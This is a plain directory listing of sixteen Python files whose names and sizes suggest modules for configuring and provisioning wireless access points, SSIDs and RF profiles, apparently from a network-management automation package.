wireless_accesspoint_configuration_summary_info.py File 4.36 KB 0644
wireless_dynamic_interface.py File 2.63 KB 0644
wireless_dynamic_interface_info.py File 1.86 KB 0644
wireless_enterprise_ssid.py File 5.6 KB 0644
wireless_enterprise_ssid_info.py File 2.89 KB 0644
wireless_profile.py File 5.16 KB 0644
wireless_profile_info.py File 2.16 KB 0644
wireless_provision_access_point.py File 2.53 KB 0644
wireless_provision_device_create.py File 3.01 KB 0644
wireless_provision_device_update.py File 2.99 KB 0644
wireless_provision_ssid_create_provision.py File 3.74 KB 0644
wireless_provision_ssid_delete_reprovision.py File 2.06 KB 0644
wireless_psk_override.py File 2.04 KB 0644
wireless_rf_profile.py File 5.96 KB 0644
wireless_rf_profile_info.py File 2.69 KB 0644
wireless_sensor_test_results_info.py File 3.52 KB 0644